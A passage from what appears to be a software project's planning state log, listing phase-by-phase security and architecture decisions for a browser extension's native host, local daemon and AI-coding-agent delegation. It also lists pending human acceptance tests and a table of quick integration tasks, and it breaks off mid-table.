provider trust outside broad Config authority, and require a freshly minted, atomically consumed internal challenge for trusted and untrusted starts alike. +- [Phase 61 Plan 02]: Treat the bounded redacted session ledger as the visibility commit point; only a successfully persisted canonical entry may change controller state or fan out. +- [Phase 61 Plan 02]: Reject persisted duplicate, conflicting, gapped, reversed, or identity-mismatched sequences as corruption; delivery deduplication remains UI-only. +- [Phase 61 Plan 02]: Isolate timers and settlement per server delegation id, seal every mapped tab into one hold lease, and restore the complete lease before daemon resume. +- [Phase 61 Plan 03]: Serialize the global observer roster on each pending correlation's private tail; matching final settlement waits for that tail and observer failure rejects only that request. +- [Phase 61 Plan 03]: Replace ordinary keepalive with one Set-refcounted 20-second exact-nonce loop only while delegation owners exist; three misses classify disconnected without restart or replay inference. +- [Phase 61 Plan 03]: Pin exact Chrome 116 while leaving permissions, worker scripts, and bridge authority unchanged; doctor/setup remain data-only future UI behavior with no native, shell, process, or daemon-restart path. +- [Phase 61 Plan 04]: Carry the daemon-minted delegation id only on the initial bounded registration sidecar; the sole controller gate binds it once to a fresh extension-minted agent and every denial rolls the ordinary agent back. +- [Phase 61 Plan 04]: Persist cloned candidate registry state before adopting delegation binding, hold seal, restore, or exact release, so storage rejection and index drift leave the prior complete authority unchanged. +- [Phase 61 Plan 04]: Treat the five-minute hold deadline as cancellation-required rather than ownership release; complete tab/token reservations remain unclaimable through expiry and worker reload. +- [Phase 61 Plan 04]: Refuse generic/grace release for controller-mapped agents; only exact delegation-plus-agent cleanup may remove their distinct active and held tab union and report its count. +- [Phase 61 Plan 05]: Keep hold, resume, cancel, settlement, and status inside the one serve-owned supervisor; the five-method adapter contract remains unchanged. +- [Phase 61 Plan 05]: A POSIX lifecycle transition is acknowledged only after the retained group and exact tree are confirmed before and after its signal; unsupported or unverifiable paths converge to confirmed cancellation. +- [Phase 61 Plan 05]: Restart loss requires a prior daemon generation plus an owner-only persisted post-cleanup disposition; same-generation records, transport disconnect, and failed cleanup never qualify. +- [Phase 61 Plan 06]: Keep background as the sole delegation composition root; authoritative provider reload, preflight, challenge consumption, daemon acceptance, and controller/UI allocation remain strictly ordered before any legacy mutation. +- [Phase 61 Plan 06]: Treat same-generation supervisor status as observation only; generation change without matching explicit restart disposition remains disconnected and classification-pending without adopting the new generation. +- [Phase 61 Plan 06]: Retain one heartbeat owner for every hydrated nonterminal id and release it only after terminal persistence and exact tab cleanup; all owners continue to share the bridge's single interval. +- [Phase 61 Plan 06]: Recover held state only from the registry's complete exact sealed lease; a missing or inconsistent lease cancels rather than recreating ownership. +- [Phase 61 Plan 07]: Render only closed canonical snapshot fields through text-only DOM construction; presentation strings, provider-native payloads, URLs, and style metadata never become UI authority or executable markup. +- [Phase 61 Plan 07]: Bind one exact server delegation id to one selected conversation in bounded session storage, hydrate silently before subscribing, and announce only strictly newer matching sequences. +- [Phase 61 Plan 07]: Change consent, held/running, stopping/stopped, disconnect, and restart-loss presentation only after authoritative background snapshots; pending controls never invent lifecycle state. +- [Phase 61 Plan 07]: Limit recovery actions to copying the literal doctor command or opening the local Providers surface; no side-panel action executes, restarts, or invokes native code. +- [Phase 61 Plan 08]: Keep one eight-scenario milestone-end live ledger with every result `human_needed`, pending, and empty; deterministic evidence proves the ledger is honest but never substitutes for performing it. +- [Phase 61 Plan 08]: Close the phase contract mechanically across all 23 task rows, UX/LIFE requirements, D-01..D-28, T61-01..14, typed schemas, architecture links, UI rules, and forbidden authority patterns. +- [Phase 61 Plan 08]: Restore only exact paths that were already unstaged before a full-suite run; never restore, stage, or otherwise mutate the Git index, and continue failing closed on newly dirty clean paths or untracked entries. +- [Phase 61 Plan 08]: Preserve the first Wave-5 wrapper preservation red separately from the explicitly authorized corrected green; no failed evidence is erased or relabeled. +- [Phase 62 Plan 01]: Keep one exact deeply frozen daemon matrix as the only version/profile/fixture authority; only the inclusive fixture-tested range is supported, while newer same-major evidence is degraded but remains start-eligible. +- [Phase 62 Plan 01]: Drive drift CI from the production registry and each registered adapter's production parser, preserving the Claude fixture's schema-derived provenance and pending live-capture truth exactly. +- [Phase 62 Plan 01]: Retain only detector-approved binary/version evidence on unsupported local detections so later doctor output is useful without granting start/profile authority. +- [Phase 62 Plan 02]: Build local doctor rows only from the production-registry/canonical-matrix intersection; malformed or unavailable detectors fail closed without suppressing offline diagnostics. +- [Phase 62 Plan 02]: Keep Claude auth exactly `unknown` / `Not reported` and project bridge auth immediately to secret presence, validated rotation timestamp, and non-negative age only. +- [Phase 62 Plan 02]: Render human and JSON doctor modes from one collected snapshot while preserving historical diagnostic-layer precedence and healthy/unhealthy exit semantics. +- [Phase 62 Plan 03]: Route compatibility through a separate authenticated exact-empty-payload read while leaving delegation and process authority unchanged. +- [Phase 62 Plan 03]: Validate and durably replace one closed safe compatibility snapshot on the existing serialized provider mutation chain, with a one-way fifteen-minute freshness downgrade. +- [Phase 62 Plan 03]: Coalesce paired compatibility refreshes behind one five-second request and persist before fan-out; failures expose only refreshed, stale, or unavailable cached outcomes. +- [Phase 62 Plan 04]: Project every typed provider-protocol drift into one exact three-label terminal detail and collapse untyped drift to fixed adapter-contract labels. +- [Phase 62 Plan 04]: Enforce the per-adapter ten-second admission window before invoking the ring-writing diagnostics sink, including exact-boundary and clock-rollback behavior. +- [Phase 62 Plan 04]: Report only validated authoritative finals once per delegation through a private bounded FIFO, independently of controller settlement and cleanup. +- [Phase 62 Plan 05]: Map only background-projected compatibility into one constant-owned Supported, Degraded, or Unsupported display model; invalid or unshipped evidence fails closed. +- [Phase 62 Plan 05]: Keep compatibility observational and distinct from availability, recommendation, selection, auth, billing, and start authority across DOM, announcements, and refresh. +- [Phase 62 Plan 05]: Apply semantic compatibility styling through existing tokens and fixed responsive ranges without recoloring or reordering existing provider controls. +- [Phase 62 Plan 06]: Root and CI execute the exact generalized drift harness while one 763-assertion contract pins all 17 tasks, four requirements, eight threats, safe projections, and preserved Phase 59–61 interfaces. +- [Phase 62 Plan 06]: Keep exactly three unchecked Phase 62 UAT scenarios pending and evidence-empty until the user-directed milestone-end sweep; automation verifies ledger integrity but never promotes it. +- [Phase 62 closeout]: Diagnose guarded-suite failures as stale test seams, preserve production authority, and require an explicit exit-0 workspace-preserving full-suite result before advancing. +- [Milestone]: Defer every live/human UAT checklist to one milestone-end sweep; automated/source verification and clean review remain mandatory per phase, and no deferred item is silently marked passed. +- [Phase 63]: Use only a version-bound Windows PE bootstrap; never select a batch, command-shell, PowerShell, SEA, or historical relay fallback. — Chromium directly launches executable hosts, and a minimal reviewed CreateProcessW boundary avoids command-interpreter authority. +- [Phase 63]: Keep the stable runtime below the fixed per-user FSB root and separate from the invoking npm cache, checkout, or package root. — Registration must remain durable after npx cache eviction and must have one closed ownership boundary for later atomic install and uninstall. +- [Phase 63]: Exact-pin and bundle all six direct production dependencies, with every lock-reachable production package bound into a deterministic integrity receipt. — The installed host runtime must materialize from a new empty cache without registry access or silent online fallback. +- [Phase 63]: Run npm pack from the exact absolute package cwd with a constant dot argument. — npm 11 omits bundled dependencies when the same relocated package is passed as a directory spec, while the exact cwd form preserves the complete bundled tree. +- [Phase 63]: Pack once for publication, verify that exact tarball offline, and bind its SHA-512 with the lock, receipt, version, and both PE checksums. — The release dependency graph must not publish a tarball different from the artifact that passed the complete closure and platform gates. +- [Phase 63]: Use exact service identity, numeric native-host protocol 1, and false-by-default serve readiness. — A generic or partially initialized loopback listener must never count as the ready FSB daemon. +- [Phase 63]: Prepare bridge auth only after successful bind and recovery, before bridge connect. — A losing concurrent serve process must be unable to invalidate the active daemon session. +- [Phase 63]: Publish serve readiness only after initial inventory push. — Reachability becomes true only after the complete startup barrier has settled. +- [Phase 63]: Treat zero-byte EOF as a silent boot-presence probe before invocation validation; it produces no handler call or stdout frame. — Chrome must be able to probe native-host installation without manufacturing a wake request or causing daemon work. +- [Phase 63]: Permit only the exact entry/constants/protocol native leaf graph plus node:os at this wave, with source and compiled graphs judged separately. — The positive graph prevents authority drift now while allowing Plan 04 to extend the verifier deliberately when its frozen runtime leaves exist. +- [Phase 63]: Reconstruct every native response through the closed outcome/reason table and await at most one framed stdout write. — Closed reconstruction and one-shot settlement keep stdout protocol-pure and prevent handler objects or raw errors from widening the native boundary. +- [Phase 63]: Let only exact ready FSB v1 health bypass or complete wake authority; incompatible responders are closed unavailable facts. — A generic, malformed, oversized, partially ready, or protocol-incompatible loopback listener must never be overwritten or mistaken for the owned daemon. +- [Phase 63]: Coalesce native wake with an atomic token-only directory lock, health-rechecked stale quarantine, and exact-token release. — Concurrent hosts may create at most one serve child, and no process identifier or signaling authority is needed for recovery or timeout settlement. +- [Phase 63]: Keep the stable native-host index as a one-shot composition root over only constants, protocol, runtime-layout, platform, daemon, and entry leaves. — The exact positive graph and unique absolute-Node serve edge prevent installer, router, agent, task, browser, auth, shell, or extra child-process authority from entering the host. +- [Phase 63]: Treat HKCU user/32 as the sole canonical Windows registration view and every user/64 value as a non-mutable shadow mismatch. — Chrome's first-read view must never be silently shadowed or repaired by broad registry authority. +- [Phase 63]: Publish only an exact package runtime whose lock-bound bundled production closure survives empty-cache offline reinstallation and full artifact revalidation. — Native registration must never point at the invoking checkout, npm cache, incomplete tarball, or an online fallback. +- [Phase 63]: Install only from both-absent state or accept both-exact-current as zero-write idempotence; refuse split, older, foreign, invalid, symlinked, unavailable, or shadowed state. — Persistent code-execution registration cannot be implicitly repaired or upgraded. +- [Phase 63]: Remove registration first and then only an internally exact marker-proved runtime, including an intact older owned version. — Uninstall authority follows proven ownership rather than the current invoker version and never reaches adjacent hosts or broad Chrome roots. +- [Phase 63]: Route native CLI work by exact own-key presence before list, all, client, or Claude expansion, then validate the complete flag record. — A malformed or mixed explicit target must fail before any native or legacy mutation. +- [Phase 63]: Reconstruct terminal receipts from exactly five ordinary own data fields with closed reasons, origins, and bounded control-free locations. — Prototype data, raw errors, and receipt extras must never become optimistic or sensitive output. +- [Phase 63]: Keep unresolved production dependency composition outside the CLI router and fail closed as unavailable. — Plan 05 has no safe production filesystem/process/registry composer or persisted receipt layer, and Plan 06 must not invent that architecture while claiming live operability. +- [Phase 63]: Keep Chrome native APIs inside one background helper with memory-only advisory presence and cooldown. — UI and persisted state cannot acquire native lifecycle authority. +- [Phase 63]: Allow actual wake only after the existing pure preflight returns exact agent_offline. — Native reachability cannot override provider, pairing, consent, or start authority. +- [Phase 63]: Treat exact native success as reachability only, then wait for the ordinary bridge and rerun pure preflight directly once. — Every failure preserves the original offline result and no user intent is replayed. +- [Phase 63]: Protect the sole nativeMessaging manifest addition with an exact prior-byte hash and extension-wide authority scan. — No other permission or extension module silently gains native authority. +- [Phase 63]: Fence native wake UI by safe Send intent, exact composer bytes, and monotonic edit revision through consent lookup. — Any input event or stale settlement must become a no-op, including edit-then-revert and a response racing a newer explicit Send. +- [Phase 63]: Render checking only in the existing delegation card and announcer with fixed info-tone copy. — Transient native reachability is presentation-only and cannot create actions, alerts, focus moves, feed/session/tab state, or native authority. +- [Phase 63]: Converge every native wake settlement through the existing preflight, consent, start, unpaired, and offline branches. — Native success remains reachability only; provider, pairing, consent, and start authority stay in their established controllers. +- [Phase 63]: Keep all eight genuine OS, Chrome, visual, keyboard, and screen-reader scenarios in one milestone-end ledger — Automated evidence may validate ledger integrity but cannot populate or promote live UAT +- [Phase 63]: Run compiled Phase 63 seams in one workspace-preserving build lifecycle — The complete prior build graph, unrelated dirty bytes, and raw Git index must survive every automated gate exactly +- [Phase 63]: Derive all 30 validation mappings directly from the twelve PLAN files — A mechanical bijection fails on any missing, duplicate, or altered task mapping while future reviews remain honestly pending +- [Phase 63]: Bind independent code, security, and UI reviews to one canonical patch, ordered manifest, implementation index, and worktree fingerprint — Review prose and verifier infrastructure cannot silently alter the implementation identity being approved +- [Phase 63]: Preserve resolved blocking findings in the final review record and rerun each affected review after RED/GREEN remediation — Any open or accepted HIGH/CRITICAL row remains a hard stop, while historical resolved rows stay auditable +- [Phase 63]: Use one separately packaged fixed Win32 Registry API helper instead of `reg.exe`, inherited `SystemRoot`, or `PATH` executable authority — Locale-dependent output and attacker-influenced executable selection cannot authorize an absent fact or registry mutation +- [Phase 63 closeout]: Supersede stale gate receipts by full task restart at a fresh commit fingerprint — Prior green evidence is retained in history but never represented as current when the reviewed tree has advanced +- [Phase 63 closeout]: Neutralize external lock-enabled Git stat-refresh interference with reversible per-entry assume-unchanged flags on content-clean generated files, reverted after the gates — Frozen wrappers, verifiers, and tests stay untouched while the raw-index byte invariant holds +- [Phase 64]: Treat only tool-calls and unknown as continuation finishes. — The pinned OpenCode 1.14.25 prompt loop continues only for those two reasons; every other bounded source-valid finish remains a candidate until EOF. +- [Phase 64]: Keep OpenCode fixture-gated but absent from production registry and compatibility exposure until Plan 05. — Parser and fixture drift must block CI before production selection, while the first-commit boundary must not smuggle in start authority. +- [Phase 64]: Project fixed tool and provider-error fields above the OpenCode parser. — Call identity, tool name, error status, and a closed diagnostic are sufficient; raw input, output, metadata, and error bodies remain confidential below the parser boundary. +- [Phase 64]: Reconstruct and recursively freeze the closed direct/owned-server topology before the supervisor reads adapter output. — Roles, streams, runtime references, bindings, lifecycle policy, and attestations remain provider-neutral data rather than callbacks or adapter-id branches. +- [Phase 64]: Keep fixed environment data serializable and spawn secrets opaque. — The sole Basic-password binding names a supervisor-owned reference and is legal only on the owned server and attach task; raw secret values have no contract field. +- [Phase 64]: Interpret policy evidence through one bounded own-data verifier and a closed assertion grammar. — Provider-native JSON, arbitrary prefixes, accessors, inherited records, cycles, and unbounded input cannot cross the attestation boundary. +- [Phase 64]: Use delegation and provider_server as the only durable runtime roles. — Task work and daemon infrastructure share one exact journal while only confirmed stale delegations create lost-run dispositions. +- [Phase 64]: Normalize exact version-1 Claude journals in memory without rewriting them on read. — Legacy recovery remains byte-compatible while every new mutation emits the closed version-2 role-aware schema. +- [Phase 64]: Derive private paths from four closed logical artifact kinds inside the minted run directory. — Callers cannot persist arbitrary cleanup paths, and the full contained graph is mode/symlink/foreign-node validated before mutation or removal. +- [Phase 64]: Persist fixed public environment and proven process identity only. — Secret bindings, resolved spawn environments, raw credentials, Authorization headers, and credential-shaped values remain structurally outside durable runtime state. +- [Phase 64]: Accept only OpenCode 1.14.25 after a shell-free bounded version probe and retained-realpath recheck. — Detection deliberately leaves account state unknown and never promotes partial evidence to readiness. +- [Phase 64]: Isolate OpenCode under private XDG config, test-home, and managed-config roots without overriding its native default model. — Project config, external skills, inherited Claude prompts, auto-update, and LSP downloads remain disabled. +- [Phase 64]: Carry task text only on task-child stdin and bind the sole opaque owned-server password reference only to server and attach roles. — Profile data cannot serialize task or secret values. +- [Phase 64]: Describe OpenCode policy with four closed generic attestations interpreted by the shared verifier. — No native checker, callback, extra adapter method, supervisor hook, reducer, or selector is introduced. +- [Phase 64]: Expose OpenCode only as an exact five-method frozen composition with task/server-only capabilities. — Detector, profile, parser, and supervisor-owned tree kill remain the only dependencies; the adapter gains no process, filesystem, network, secret, or timer authority. +- [Phase 64]: Promote Claude Code and OpenCode as one exact ordered registry/matrix/parser/manifest/fixture/adapter bijection. — The seven production and drift paths land in one atomic implementation commit, so registration cannot outrun its compatibility and native-drift evidence. +- [Phase 64]: Keep OpenCode spawn eligibility exact at 1.14.25 while Codex remains absent. — Newer same-major versions may be observed as degraded but cannot become spawn-authorizing evidence. +- [Phase 64]: Keep local provider evidence and browser evidence asymmetric. — Local doctor may expose bounded executable/version facts, while browser inventory and durable compatibility storage receive only closed availability/status facts. +- [Phase 64]: Require exact Claude Code/OpenCode registry and matrix membership before collecting or projecting evidence. — Roster corruption fails closed to canonical unsupported rows and cannot inject, omit, reorder, or case-vary provider authority. +- [Phase 64]: Ship OpenCode compatibility as observational data only while Codex remains unshipped. — Compatibility cannot select or recommend a provider, mutate settings, mark state dirty, grant spawn, or retain auth/billing/topology/native evidence. +- [Phase 64]: Keep owned-topology execution cold first and attach only after exact lease re-verification. — An already-selected task never changes process after warming, while topology, generation, process identity, secret presence, and authenticated health must all authorize a later attach. +- [Phase 64]: Retain only random owned-server secret bytes and materialize password/header strings transiently. — Only the reviewed server and selected attach spawn env plus bounded health request require the raw value; every mutable call object is scrubbed afterward. +- [Phase 64]: Release each attach lease only after task tree and runtime cleanup, with token-fenced idle teardown. — Reference counts protect active task sessions, stale idle callbacks cannot stop renewed work, and task cleanup always precedes server reclamation. +- [Phase 64]: Coalesce health, exit, idle, and daemon-close cleanup through one exact-once server stop. — Retiring leases become non-attachable immediately and no replacement server can warm until the proven old tree and volatile secret settle. +- [Phase 64]: Require generic effective-policy attestation before task authority — Process and owned-server evidence use only closed descriptors and the shared verifier; raw documents, credentials, headers, model values, and stderr remain transient. +- [Phase 64]: Make selected task-child spawn the permanent replay boundary — One role-checked writer sends the exact task plus EOF once; every later failure cleans up and settles without cold fallback. +- [Phase 64]: Publish a normalized result only after independent cleanup truth — Parser EOF, clean stderr, code 0/no signal, task-tree settlement, and runtime removal must all corroborate the private candidate before it becomes observable. +- [Phase 64]: Canonicalize only the exact shipped Claude Code and OpenCode records; keep Codex dormant and outside authorization. — One frozen exact provider table prevents browser authorization, compatibility, identity, and billing metadata from drifting apart. +- [Phase 64]: Reread background-owned selection before trust mutation and challenge consumption; keep side-panel start requests provider-free. — Only saved settings may select the adapter, so stale or attacker-supplied client intent cannot acquire provider authority. +- [Phase 64]: Bind a frozen canonical provider context only after request-bound started identity matches and controller start persists. — Events and final settlement retain accepted identity and honest billing even when settings change later. +- [Phase 64]: Reconstruct evicted-run provider context only from validated persisted provider and init metadata. — Current settings and daemon presentation fields cannot relabel or expand an already accepted run. +- [Phase 64]: Accept only exact canonical Claude Code or OpenCode own-data pairs at durable boundaries — Reconstruct frozen copies and derive later identity solely from persisted init metadata. +- [Phase 64]: Keep every normalized result in running state until an explicit authoritative terminal — Candidate results cannot hydrate or settle as fabricated success or failure. +- [Phase 64]: Mirror adapter-specific drift vocabularies in a bounded six-field browser projection — Throttle each shipped adapter independently and report only after terminal persistence succeeds. +- [Phase 64]: Upgrade compact MCP drift tuples at the background boundary with immutable accepted-run context — Preserve the wire contract while preventing provider relabeling or duplicate diagnostics. +- [Phase 64]: Use the canonical delegation-provider roster for exactly Claude Code and OpenCode compatibility — Avoid an OpenCode renderer branch and keep unshipped Codex fail-closed. +- [Phase 64]: Compute UI expiry from the earliest valid shipped-row timestamp — Missing or malformed shipped evidence fails closed to unknown. +- [Phase 64]: Keep the visible Providers section and CSS byte-identical — The sole HTML delta is the canonical helper script before the two existing consumers. +- [Phase 64]: Load the canonical provider helper before both side-panel consumers as the sole HTML change — Add no visible markup or CSS while enabling validated provider labels. +- [Phase 64]: Bind consent and trust to an exact canonical provider identity while keeping start intent provider-free — Background-owned settings remain the only adapter selection authority. +- [Phase 64]: Hide result and summary rows for every non-completed outcome — Only controller-authoritative completed terminal truth may present a persisted result candidate as success. +- [Phase 64]: Keep exactly three genuine OpenCode account, process, browser, and accessibility scenarios pending — Deterministic fixtures and DOM tests cannot promote human evidence. +- [Phase 64]: Use one explicit adapter aggregate section while retaining the separate first-commit drift gate — Root and focused execution cover every parser, fixture, and drift edge exactly once. +- [Phase 64]: Keep the existing direct drift-smoke CI job and one renamed Phase 64 root invocation — Preserve CI ordering and avoid duplicate or skipped adapter evidence. +- [Phase 64]: Mark all 28 implementation rows green only after every focused, historical, security, root, and preservation gate passes — Automated closure remains distinct from the pending live UAT boundary. +- [Phase 64]: Defer exactly UAT64-01 through UAT64-03 to the milestone-end live sweep — Formal verification found zero automated gaps; these cases require genuine account, process, browser, and accessibility evidence per the existing user instruction. +- [Phase 64]: Carry two non-blocking UI audit warnings forward — UI audit scored 21/24 with no blockers; 44px delegated targets and profile-version presentation coverage remain advisory findings recorded in 64-UI-REVIEW.md. +- [Phase 65]: Keep Phase 65 and milestone closure human-pending after zero-gap automated verification — UAT65-01 through UAT65-03 require genuine Codex accounts, live browser/process behavior, and assistive-technology evidence; automation cannot promote them. + +### Pending Todos + +None. Phases 57-63 are automated/source complete; Phase 63 automated validation is closed (all 30 per-task rows green) and awaits phase verification plus the milestone-end human UAT sweep. + +### Blockers/Concerns + +No active blocker. + +- **Milestone-end UAT gate:** Phase 58's 12 live Providers checks, Phase 59's 4 live pairing/lifecycle/accessibility checks, Phase 60's 7 authenticated CLI/OS/browser checks, Phase 61's 8 consolidated consent/theme/handoff/stream/worker/endurance/POSIX/restart scenarios, Phase 62's 3 doctor/stream/layout/accessibility checks, and Phase 63's eight genuine OS/Chrome/visual/accessibility scenarios remain pending. Per user instruction, all live evidence is accumulated and audited at milestone end; automated/source and independent review evidence is green through Phase 63 Plan 12 (automated validation closed), and no live pass is inferred. + +- **Phase 59 pairing decision resolved:** Use explicit `fsb-mcp-server pair`, a durable exact extension-Origin binding, a per-daemon 32-byte session credential, `pair --reset` for deliberate rebind, per-frame sessionId revalidation, and a secret-free `bridge.auth-status` acknowledgement. Silent TOFU is rejected. + +Phase 60 resolved the static inline-agent/profile and Windows shell-free resolution questions in source and deterministic tests. Their genuine installed-CLI corroboration remains in the deferred Phase 60 UAT ledger. Phase 64 Plan 07 resolved the remaining OpenCode server-shape item with cold-first execution plus an FSB-owned, authenticated `opencode serve` lease for later exact-identity attaches. + +- Milestone-end UAT gate: Phase 65 adds UAT65-01 through UAT65-03 (genuine auth matrix, live Codex/browser lifecycle, and accessibility/responsive rendering); all remain human_needed, pending, and evidence-empty. + +### Quick Tasks Completed + +| # | Description | Date | Commit | Status | Directory | +|---|-------------|------|--------|--------|-----------| +| 260728-k2v | Replace the chrome.action connection badge with a state-driven animated toolbar icon | 2026-07-28 | 45aa40e1 | | [260728-k2v-animated-toolbar-icon](./quick/260728-k2v-animated-toolbar-icon/) | +| 260720-jb5 | Patch Sheets session redaction and multi-tab visual-session token finalization | 2026-07-20 | 2f8359b2 | Verified | [260720-jb5-patch-sheets-session-redaction-and-multi](./quick/260720-jb5-patch-sheets-session-redaction-and-multi/) | +| 260715-hs1 | Replace Google Sheets OAuth with a zero-extra-auth signed-in tab session | 2026-07-15 | 9ab3d40d | Needs Review | [260715-hs1-replace-google-sheets-oauth-with-a-signe](./quick/260715-hs1-replace-google-sheets-oauth-with-a-signe/) | +| 260715-8wh | Implement production-safe Google Sheets API MVP with Chrome OAuth, typed read/write capabilities, and spreadsheet-data recording redaction | 2026-07-15 | a83d21b8 | | [260715-8wh-implement-production-safe-google-sheets-](./quick/260715-8wh-implement-production-safe-google-sheets-/) | +| 260707-7id | Record MCP agent sessions into logs, history, replay, and memory like autopilot runs | 2026-07-07 | 721e2826 | | [260707-7id-record-mcp-agent-sessions-into-logs-hist](./quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/) | +| 260701-e6c | Implement Supabase to be T1 ready | 2026-07-01 | 2619d949 | | [260701-e6c-implement-this-supabase-to-be-t1-ready-u](./quick/260701-e6c-implement-this-supabase-to-be-t1-ready-u/) | +| 260701-e6d | Implement Microsoft Teams to be T1 ready | 2026-07-01 | working-tree | | [260701-e6d-implement-this-microsoft-teams-to-be-t1-](./quick/260701-e6d-implement-this-microsoft-teams-to-be-t1-/) | +| 260701-e69 | Implement Steam T1 readiness as blocked-policy terminal coverage | 2026-07-01 | blocked-working-tree | | [260701-e69-implement-steam-to-be-t1-ready-using-gsd](./quick/260701-e69-implement-steam-to-be-t1-ready-using-gsd/) | +| 260701-iz0 | Implement this Steam to be T1 ready | 2026-07-01 | 8d64b761 | | [260701-iz0-implement-this-steam-to-be-t1-ready](./quick/260701-iz0-implement-this-steam-to-be-t1-ready/) | +| 260701-e5j | Implement ClickUp to be T1 ready | 2026-07-01 | 999f07b0 | | [260701-e5j-implement-this-clickup-to-be-t1-ready-wo](./quick/260701-e5j-implement-this-clickup-to-be-t1-ready-wo/) | +| 260701-e5y | Implement Glama to be T1 ready | 2026-07-01 | working-tree | | [260701-e5y-implement-glama-to-be-t1-ready](./quick/260701-e5y-implement-glama-to-be-t1-ready/) | +| 260701-e60 | Implement LinkedIn to be T1 ready | 2026-07-01 | working-tree | | [260701-e60-implement-this-linkedin-to-be-t1-ready](./quick/260701-e60-implement-this-linkedin-to-be-t1-ready/) | +| 260701-e5v | Implement this Google Maps to be T1 ready | 2026-07-01 | working-tree | | [260701-e5v-implement-this-google-maps-to-be-t1-read](./quick/260701-e5v-implement-this-google-maps-to-be-t1-read/) | +| 260701-e5i | Implement Confluence to be T1 ready | 2026-07-01 | b8cd262a | | [260701-e5i-implement-this-confluence-to-be-t1-ready](./quick/260701-e5i-implement-this-confluence-to-be-t1-ready/) | +| 260701-e5j | Implement Fiverr to be T1 ready | 2026-07-01 | 41d5befd | | [260701-e5j-implement-this-fiverr-to-be-t1-ready](./quick/260701-e5j-implement-this-fiverr-to-be-t1-ready/) | +| 260701-e5y | Implement Microsoft Word to be T1 ready | 2026-07-01 | working-tree | | [260701-e5y-implement-this-microsoft-word-to-be-t1-r](./quick/260701-e5y-implement-this-microsoft-word-to-be-t1-r/) | +| 260701-e5m | Implement Fidelity to be T1 ready | 2026-07-01 | 72423b87 | | [260701-e5m-implement-fidelity-to-be-t1-ready](./quick/260701-e5m-implement-fidelity-to-be-t1-ready/) | +| 260701-e76 | Implement Uber rideshare to be T1 ready | 2026-07-01 | working-tree | | [260701-e76-implement-uber-rideshare-to-be-t1-ready](./quick/260701-e76-implement-uber-rideshare-to-be-t1-ready/) | +| 260701-e5v | Implement this Lyft to be T1 ready. | 2026-07-01 | working-tree | | [260701-e5v-implement-this-lyft-to-be-t1-ready](./quick/260701-e5v-implement-this-lyft-to-be-t1-ready/) | +| 260701-e6l | Implement Robinhood to be T1 ready | 2026-07-01 | working-tree | | [260701-e6l-implement-robinhood-to-be-t1-ready](./quick/260701-e6l-implement-robinhood-to-be-t1-ready/) | +| 260701-e74 | Fourth-agent T1 readiness integration pass for Uber, YouTube, and YouTube Music | 2026-07-01 | working-tree | | [260701-e74-fourth-agent-t1-readiness-integration-pa](./quick/260701-e74-fourth-agent-t1-readiness-integration-pa/) | +| 260701-e61 | Implement Netflix T1 readiness as blocked-policy terminal coverage | 2026-07-01 | working-tree | | [260701-e61-implement-this-netflix-to-be-t1-ready-ow](./quick/260701-e61-implement-this-netflix-to-be-t1-ready-ow/) | +| 260701-2m5 | Make Linear T1 ready | 2026-07-01 | working-tree | | [260701-2m5-make-linear-t1-ready](./quick/260701-2m5-make-linear-t1-ready/) | +| 260701-2m4 | Implement Sentry to be T1 ready | 2026-07-01 | working-tree | | [260701-2m4-implement-sentry-to-be-t1-ready](./quick/260701-2m4-implement-sentry-to-be-t1-ready/) | +| 260701-2mh | Make Uber Eats implementation T1 ready | 2026-07-01 | d4ab8789 | | [260701-2mh-make-uber-eats-implementation-t1-ready](./quick/260701-2mh-make-uber-eats-implementation-t1-ready/) | +| 260701-2sl | Implement PostHog to be T1 ready | 2026-07-01 | working-tree | | [260701-2sl-implement-posthog-to-be-t1-ready](./quick/260701-2sl-implement-posthog-to-be-t1-ready/) | +| 260701-2o4 | Implement Tinder to be T1 ready | 2026-07-01 | working-tree | | [260701-2o4-implement-tinder-to-be-t1-ready](./quick/260701-2o4-implement-tinder-to-be-t1-ready/) | +| 260701-2nw | Implement TikTok T1 readiness | 2026-07-01 | working-tree | | [260701-2nw-implement-this-tiktok-to-be-t1-ready](./quick/260701-2nw-implement-this-tiktok-to-be-t1-ready/) | +| 260701-2ln | Implement Eventbrite to be T1 ready | 2026-07-01 | working-tree | | [260701-2ln-implement-eventbrite-to-be-t1-ready](./quick/260701-2ln-implement-eventbrite-to-be-t1-ready/) | +| 260701-2lr | Implement Datadog to be T1 ready | 2026-07-01 | working-tree | | [260701-2lr-implement-datadog-to-be-t1-ready](./quick/260701-2lr-implement-datadog-to-be-t1-ready/) | +| 260701-2m8 | Make Kayak T1 ready | 2026-07-01 | working-tree | | [260701-2m8-make-kayak-t1-ready](./quick/260701-2m8-make-kayak-t1-ready/) | +| 260701-2mc | Implement Zendesk to be T1 ready | 2026-07-01 | working-tree | | [260701-2mc-implement-zendesk-to-be-t1-ready](./quick/260701-2mc-implement-zendesk-to-be-t1-ready/) | +| 260701-2ki | Implement AWS T1 readiness | 2026-07-01 | working-tree | | [260701-2ki-implement-aws-to-be-t1-ready](./quick/260701-2ki-implement-aws-to-be-t1-ready/) | +| 260701-2m5 | Implement Threads T1 readiness | 2026-07-01 | working-tree | | [260701-2m5-implement-this-threads-to-be-t1-ready](./quick/260701-2m5-implement-this-threads-to-be-t1-ready/) | +| 260701-2km | Implement Airtable to be T1 ready | 2026-07-01 | working-tree | | [260701-2km-implement-airtable-to-be-t1-ready-using-](./quick/260701-2km-implement-airtable-to-be-t1-ready-using-/) | +| 260701-2lo | Make OneNote T1-ready | 2026-07-01 | working-tree | | [260701-2lo-make-onenote-t1-ready](./quick/260701-2lo-make-onenote-t1-ready/) | +| 260701-2m6 | Implement Telegram to be T1 ready | 2026-07-01 | working-tree | | [260701-2m6-implement-telegram-to-be-t1-ready](./quick/260701-2m6-implement-telegram-to-be-t1-ready/) | +| 260701-2lx | Make Google Calendar T1 ready | 2026-07-01 | working-tree | | [260701-2lx-make-google-calendar-t1-ready](./quick/260701-2lx-make-google-calendar-t1-ready/) | +| 260701-2lw | Make this app Etsy T1-ready | 2026-07-01 | working-tree | | [260701-2lw-make-this-app-etsy-t1-ready](./quick/260701-2lw-make-this-app-etsy-t1-ready/) | +| 260701-2q3 | Implement OpenTable T1 readiness | 2026-07-01 | working-tree | | [260701-2q3-implement-opentable-to-be-t1-ready](./quick/260701-2q3-implement-opentable-to-be-t1-ready/) | +| 260701-2ll | Implement eBay to be T1 ready | 2026-07-01 | working-tree | | [260701-2ll-implement-ebay-to-be-t1-ready](./quick/260701-2ll-implement-ebay-to-be-t1-ready/) | +| 260701-2md | Make Mastodon T1-ready | 